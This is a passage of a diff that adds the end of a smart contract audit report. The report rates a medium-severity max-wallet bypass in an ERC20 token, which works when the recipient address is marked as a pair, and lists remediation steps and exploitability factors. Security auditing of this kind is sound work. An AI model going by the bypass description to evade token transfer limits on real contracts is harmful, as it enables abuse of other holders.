- Check if recipient is NOT a pair, then enforce limit
|
|
437
|
+
- Remove complex nested conditionals
|
|
438
|
+
- Test all transfer scenarios
|
|
439
|
+
|
|
440
|
+
**Exploitability**: **EASY** (with owner cooperation or mistake)
|
|
441
|
+
- Requires address to be marked as pair
|
|
442
|
+
- Owner might accidentally mark wrong addresses
|
|
443
|
+
- Social engineering possible
|
|
444
|
+
- Once marked, bypass is trivial
|
|
445
|
+
|
|
446
|
+
---
|
|
447
|
+
|
|
448
|
+
**This is a MEDIUM user-exploitable bug due to incomplete max wallet logic.** 🟡
|
|
449
|
+
|
|
450
|
+
---
|
|
451
|
+
|
|
452
|
+
## Summary - USER EXPLOITS ONLY
|
|
453
|
+
|
|
454
|
+
✅ **FOUND 1 MEDIUM USER-EXPLOITABLE BUG**:
|
|
455
|
+
1. Max wallet bypass when `pair[to]` is true
|
|
456
|
+
|
|
457
|
+
❌ **NO OTHER USER-EXPLOITABLE BUGS**:
|
|
458
|
+
- Standard ERC20 functions work correctly
|
|
459
|
+
- No reentrancy vulnerabilities
|
|
460
|
+
- No integer overflow issues
|
|
461
|
+
- No other logic bugs
|
|
462
|
+
|
|
463
|
+
**Admin centralization issues exist but are NOT user-exploitable.**
|